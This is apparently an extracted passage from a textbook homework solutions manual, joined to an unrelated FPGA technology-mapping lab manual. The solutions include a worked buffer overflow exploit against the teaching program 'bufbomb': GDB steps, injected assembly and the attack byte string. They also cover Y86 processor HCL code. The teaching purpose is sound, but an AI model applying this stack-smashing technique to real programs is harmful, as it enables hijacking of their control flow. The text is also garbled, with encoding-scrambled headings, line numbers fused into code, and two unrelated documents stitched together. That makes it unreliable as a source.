buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。

7HFKQRORJ\ PDSSLQJ XVLQJ 6,6Laboratory 2in course “Logic synthesis”2002-versionWritten by Tomas Bengtsson and Shashi KumarÃÃ,QWURGXFWLRQ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'RFXPHQWV QHHGHG IRU WKLV ODEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB5HFRPPHQGHG SUHSDUDWLRQV IRU WKLV ODE BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB6KRUW LQWURGXFWLRQ WR )3*$V BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB,QIRUPDWLRQ DERXW &/%V XVHG LQ WKLV ODE BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB7DVNV BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0DNLQJ VFULSWV IRU WHFKQRORJ\ PDSSLQJ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB7HFKQRORJ\ PDSSLQJ RI PXOWLSOLHUBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB7HFKQRORJ\ PDSSLQJ RI *UD\ FRGH FRQYHUWHU BBBBBBBBBBBBBBBBBBBBBBBBBBB7HFKQRORJ\ PDSSLQJ RI D EHQFKPDUN BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB$Q H[DPSOH RI 7HFKQRORJ\ PDSSLQJ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'HVFULSWLRQ RI H[DPSOH BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB6RPH WLSVBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB7KH H[DPSOH WKURXJK 6,6BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBDecomposition_____________________________________________97.3.1. Gate7.3.2. LUTMapping_________________________________________________11commands_______________________________________127.3.3. Post-processing7.3.4. Programmable Logic Block Generation_____________________________14ÃÃ,QWURGXFWLRQAfter a circuit has been optimized using Logic Optimization tools, the next step is to bring the circuit closer to implementation by using the available information about implementation technology. This step is called Technology Mapping. This step involves converting the abstract description (FSM or Boolean functions) of the circuit to a network of limited type of components, normally from a library of components. Due to this reason, Technology Mapping is also sometimes referred as Library Binding. This step involves, selecting components from the library and forming a network of these components. Normally the objectives in Technology Mapping are to have the final implementation using a minimum number of components or to minimize the area of the implementation.Technology mapping to an FPGA results in the final implementation suitable for a specific FPGA type from a specific company. This is because the internal architecture of FPGAs from different companies is quite different. The internal architectures of various FPGAs from the same company also differ depending on the component series. For example, XILINX 4000 series FPGA has different type of logic blocks as compared to 3000 series. There are two further steps after a circuit has been converted to a network of blocks of a FPGA. These steps are called 3ODFHPHQW and 5RXWLQJ. In the placement step, the logic blocks in the network are assigned specific physical blocks within the FPGA. In the routing step, the used logic blocks are connected using programmable interconnection resources.In this laboratory, we are only concerned with the first step, which is converting the abstract design to a network of logic blocks for Xilinx FPGA family.'RFXPHQWV QHHGHG IRU WKLV ODEAmong the documents from the first lab you will need the document from UCLA (University of California Los Angeles), which describes the extension of SIS for technology mapping. In this document we recommend you to skip the first part and start reading the part starting with a header “Commands provided by UCLA FPGA Mapping Package”. This documents can be found in Appendix A of this lab manual.A “hand-in” form that you have to fill in to pass the lab is also given. That hand in form and this lab manual can be found in Pingpong.5HFRPPHQGHG SUHSDUDWLRQV IRU WKLV ODETo be able to use the lab time more efficient we recommend you to study the document from UCLA the part mentioned in section 2 “Documents needed for this lab”. It is also recommended that you complete the task described in section 6.1 “Task 1 Making scripts for technology mapping” before the lab.ÃÃ6KRUW LQWURGXFWLRQ WR )3*$VFPGAs are one family of programmable logic circuits. An FPGA contains programmable logic blocks and programmable interconnection between the blocks. The programmable blocks are called CLBs (Complex Logic Block). The CLBs contain one or more LUTs (Look Up Table). A LUT is a combinatory device with some inputs and one output. It can be programmed to realize any Boolean function. The CLB can be programmed so the output of the LUTs goes to the output of the CLB direct or via a flip-flop. This can be done individually for every LUT. The inputs to the CLB are connected to the inputs in the LUTs. If the CLB contains more than one LUT, some inputs to the CLB may be connected to inputs in more than one LUT.To connect outputs and inputs of CLBs to other CLBs and to the ports of a chip the programmable interconnection part is used. In this lab we are not going to deal with this. We are only going to map logic into fit CLBs. We will use some old FPGAs, Xilinx3000 – series and Xilinx4000 – series. For our purpose we don’t gain anything by using newer ones. The CLBs in both series has two LUTs. The LUTs in Xilinx3000 – series has four inputs and in Xilinx4000 – series they have five inputs.The picture below shows an example of a simple CLB. The CLBs we will use in this lab looks a little different.,QIRUPDWLRQ DERXW &/%V XVHG LQ WKLV ODEAs written in the previous section the LUTs in Xilinx 3000-series have four inputs each and in Xilinx 4000-series the LUTs have five inputs each. The parameter “-k” used in many technology-mapping commands should specify number of inputs to one LUT.ÃÃ7DVNV7DVN 0DNLQJ VFULSWV IRU WHFKQRORJ\ PDSSLQJIn this task you should prepare scripts for technology mapping. Make one script containing technology-mapping commands, which makes optimization with respect to area minimization for mapping to Xilinx 3000-series. Make another script doing the same but for minimizing the depth of the circuit. Copy those scripts and modify the copies to work for Xilinx 4000-series. You don’t need to put the final commands “match_3k” and “match_4k” into the scripts. You can write those commands in the SIS-prompt when you need them instead.Fill in the scripts in the “hand-in” form.7DVN 7HFKQRORJ\ PDSSLQJ RI PXOWLSOLHUIn this task you should use your multiplier from the previous lab and make technology mapping in some different ways. In this lab you should alter the following parameters:• You can either use technology-independent optimization before you make technology mapping or you can skip technology-independent optimization. When you are making technology-independent optimization in this task you should use “rugged-script”• You can optimize for area or for depth. To do this you should use your scripts from the previous task.• You can technology-map for either Xilinx 3000-series or Xilinx 4000-series.The alternatives enumerated above makes eight different combinations of optimizations. Make those and fill in the required results in the “hand-in” form. There are also some questions in the “hand-in” form you should answer.7DVN 7HFKQRORJ\ PDSSLQJ RI *UD\ FRGH FRQYHUWHUIn this task you should use the “Gray-code to binary converter” you have made in the previous lab. The task is to technology-map it so it fits into two CLBs in Xilinx 3000-series. Do this and answer the questions in the “hand-in” form!7DVN 7HFKQRORJ\ PDSSLQJ RI D EHQFKPDUNIn this task you should technology-map the benchmark “t481.pla”. You should map it so that it only requires five LUTs in Xilinx 3000-series. This is the goal of this task and you decide what should be done to get there. Answer the questions in the “hand-in”-form!$Q H[DPSOH RI 7HFKQRORJ\ PDSSLQJ'HVFULSWLRQ RI H[DPSOHTo describe an example of technology mapping, an FSM to control one traffic light is used. This traffic-light controller is nothing that can be used in traffic rather it can be used to show a traffic light fitting in a fair. The controller is made as a Moore-machine.ÃÃThe FSM has three inputs. The first input let the traffic-light run in normal mode if it’s “0”, and in a mode with twinkle amber (amber ≈ yellow) if it is “1”. In the normal mode the traffic light is red, green or it is on its way between. If the second input is “1”, when the traffic light is green, it is forced to red via amber. If the third input is “1”, when the traffic light is red, it is forced to green via red_amber.The outputs from the FSM are signals to the three lamps. It is in the order green, amber and red, and “1” means on.The state-diagram below shows the system.ÃÃA description of this in kiss-format is shown below:.start_kiss.i 3.o 300- green green 10001- green amber 1001-- green twinkle_amber 1000-- amber red 0101-- amber twinkle_dark 0100-0 red red 0010-1 red red_amber 0011-- red twinkle_amber 0010-- red_amber green 0111-- red_amber twinkle_amber 0110-- twinkle_amber red 0101-- twinkle_amber twinkle_dark 0100-- twinkle_dark amber 0001-- twinkle_dark twinkle_amber 000.end_kiss.endThis file is available as “/home/beto/public/logic_synthesis/traf.kiss” in the UNIX-system.6RPH WLSVIt’s good to use commands like “print_stats” and “print_level” to see what is happening between the different steps in the optimization and mapping process. Also remember that “write_blif” can give some useful information in some cases.7KH H[DPSOH WKURXJK 6,6First we make the technology independent optimization. (That is what the first laboratory was about.) We use “state_minimize”, “state_assign” and then run “rugged-script”. We then get: UC Berkeley SIS with UCLA FPGA Extension (compiled 2-Apr-98 at 11:09 PM) VLV! UHDGBNLVV WUDI NLVV.start_kissVLV! VWDWHBPLQLPL]HRunning stamina, written by June Rho, University of Colorado at Boulder Number of states in original machine : 6Number of states in minimized machine : 5VLV! VWDWHBDVVLJQRunning nova, written by Tiziano Villa, UC BerkeleyWarning: network ‘SISEAAa29918’, node "v0" does not fanoutWarning: network ‘SISEAAa29918’, node "v1" does not fanoutWarning: network ‘SISEAAa29918’, node "v2" does not fanoutVLV! VRXUFH UXJJHGVLV! ZULWHBEOLI.model traf.kiss.inputs IN_0 IN_1 IN_2.outputs OUT_0 OUT_1 OUT_2.latch v6.0 LatchOut_v3 1.latch v6.1 LatchOut_v4 1ÃÃ.latch v6.2 LatchOut_v5 0.start_kiss.i 3.o 3.p 12.s 5.r S10-- S0 S2 0101-- S0 S3 0100-0 S2 S2 0010-1 S2 S4 0011-- S2 S0 0010-- S3 S0 0001-- S3 S0 0000-- S4 S1 0111-- S4 S0 01100- S1 S1 10001- S1 S0 1001-- S1 S0 100.end_kiss.latch_order LatchOut_v3 LatchOut_v4 LatchOut_v5.code S0 000.code S2 111.code S3 001.code S4 010.code S1 110.names LatchOut_v3 LatchOut_v5 OUT_010 1.names LatchOut_v3 LatchOut_v5 OUT_100 1.names OUT_0 LatchOut_v4 OUT_201 1.names v6.1 v6.2 LatchOut_v5 v6.011- 11-0 1.names IN_0 IN_1 OUT_1 OUT_2 LatchOut_v5 v6.10-1-- 10--1- 100--0 1.names IN_0 IN_2 LatchOut_v4 LatchOut_v5 v6.2--00 10011 1.exdc.inputs IN_0 IN_1 IN_2 LatchOut_v3 LatchOut_v4 LatchOut_v5 .outputs v6.0 v6.1 v6.2 OUT_0 OUT_1 OUT_2.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.010- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.110- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.210- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_010- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_1ÃÃ10- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_210- 1011 1.endThe key-word “.exdc” means that the following blif-description is the don’t-care-set. The description above is the optimized description of the function where don’t-cares are forced to one and zero to make the function as small as possible.*DWH 'HFRPSRVLWLRQIn the description of technology mapping from UCLA, it’s written that command“tech_decomp” should be run before “dmig”-command is run. The parameter “-k 4” in the “dmig”-command is chosen to 4 because the plan is to map this to an FPGA with 4-input LUTs.VLV! WHFKBGHFRPS D RVLV! GPLJ NVLV! ZULWHBEOLI.model traf.kiss.inputs IN_0 IN_1 IN_2.outputs OUT_0 OUT_1 OUT_2.latch v6.0 LatchOut_v3 1.latch v6.1 LatchOut_v4 1.latch v6.2 LatchOut_v5 0.start_kiss.i 3.o 3.p 12.s 5.r S10-- S0 S2 0101-- S0 S3 0100-0 S2 S2 0010-1 S2 S4 0011-- S2 S0 0010-- S3 S0 0001-- S3 S0 0000-- S4 S1 0111-- S4 S0 01100- S1 S1 10001- S1 S0 1001-- S1 S0 100.end_kiss.latch_order LatchOut_v3 LatchOut_v4 LatchOut_v5.code S0 000.code S2 111.code S3 001.code S4 010.code S1 110.names LatchOut_v3 LatchOut_v5 OUT_010 1.names LatchOut_v3 LatchOut_v5 OUT_1ÃÃ00 1.names OUT_0 LatchOut_v4 OUT_201 1.names [21] [22] v6.01- 1-1 1.names [25] [26] [27] v6.11-- 1-1- 1--1 1.names [23] [24] v6.21- 1-1 1.names v6.1 LatchOut_v5 [21]10 1.names v6.1 v6.2 [22]11 1.names IN_0 IN_2 LatchOut_v4 LatchOut_v5 [23]0011 1.names LatchOut_v4 LatchOut_v5 [24]00 1.names IN_0 IN_1 LatchOut_v5 [25]000 1.names IN_0 OUT_2 [26]01 1.names IN_0 OUT_1 [27]01 1.exdc.inputs IN_0 IN_1 IN_2 LatchOut_v3 LatchOut_v4 LatchOut_v5 .outputs v6.0 v6.1 v6.2 OUT_0 OUT_1 OUT_2.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.010- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.110- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.210- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_010- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_110- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_210- 1011 1.endÃÃ/87 0DSSLQJWhen gate decomposition is done there are some commands to choose between, which map the function to LUTs (Look Up Tables).VLV! GDJPDS NVLV! ZULWHBEOLI.model traf.kiss.inputs IN_0 IN_1 IN_2.outputs OUT_0 OUT_1 OUT_2.latch v6.0 LatchOut_v3 1.latch v6.1 LatchOut_v4 1.latch v6.2 LatchOut_v5 0.start_kiss.i 3.o 3.p 12.s 5.r S10-- S0 S2 0101-- S0 S3 0100-0 S2 S2 0010-1 S2 S4 0011-- S2 S0 0010-- S3 S0 0001-- S3 S0 0000-- S4 S1 0111-- S4 S0 01100- S1 S1 10001- S1 S0 1001-- S1 S0 100.end_kiss.latch_order LatchOut_v3 LatchOut_v4 LatchOut_v5.code S0 000.code S2 111.code S3 001.code S4 010.code S1 110.names LatchOut_v3 LatchOut_v5 OUT_010 1.names LatchOut_v3 LatchOut_v5 OUT_100 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_201- 1-11 1.names [21] [22] v6.01- 1-1 1.names [25] [26] [27] v6.11-- 1-1- 1--1 1.names IN_0 IN_2 LatchOut_v4 LatchOut_v5 v6.2--00 10011 1.names LatchOut_v5 [25] [26] [27] [21]01-- 1ÃÃ0-1- 10--1 1.names v6.2 [25] [26] [27] [22]11-- 11-1- 11--1 1.names IN_0 IN_1 LatchOut_v5 [25]000 1.names IN_0 LatchOut_v3 LatchOut_v4 LatchOut_v5 [26]001- 10-11 1.names IN_0 LatchOut_v3 LatchOut_v5 [27]000 1.exdc.inputs IN_0 IN_1 IN_2 LatchOut_v3 LatchOut_v4 LatchOut_v5.outputs v6.0 v6.1 v6.2 OUT_0 OUT_1 OUT_2.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.010- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.110- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.210- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_010- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_110- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_210- 1011 1.end3RVW SURFHVVLQJ FRPPDQGVThe post-processing command “mpack” can for some cases merge two LUTs into one LUT. VLV! PSDFN NVLV! ZULWHBEOLI.model traf.kiss.inputs IN_0 IN_1 IN_2.outputs OUT_0 OUT_1 OUT_2.latch v6.0 LatchOut_v3 1.latch v6.1 LatchOut_v4 1.latch v6.2 LatchOut_v5 0.start_kiss.i 3.o 3.p 12.s 5.r S10-- S0 S2 0101-- S0 S3 010ÃÃ0-0 S2 S2 0010-1 S2 S4 0011-- S2 S0 0010-- S3 S0 0001-- S3 S0 0000-- S4 S1 0111-- S4 S0 01100- S1 S1 10001- S1 S0 1001-- S1 S0 100.end_kiss.latch_order LatchOut_v3 LatchOut_v4 LatchOut_v5.code S0 000.code S2 111.code S3 001.code S4 010.code S1 110.names LatchOut_v3 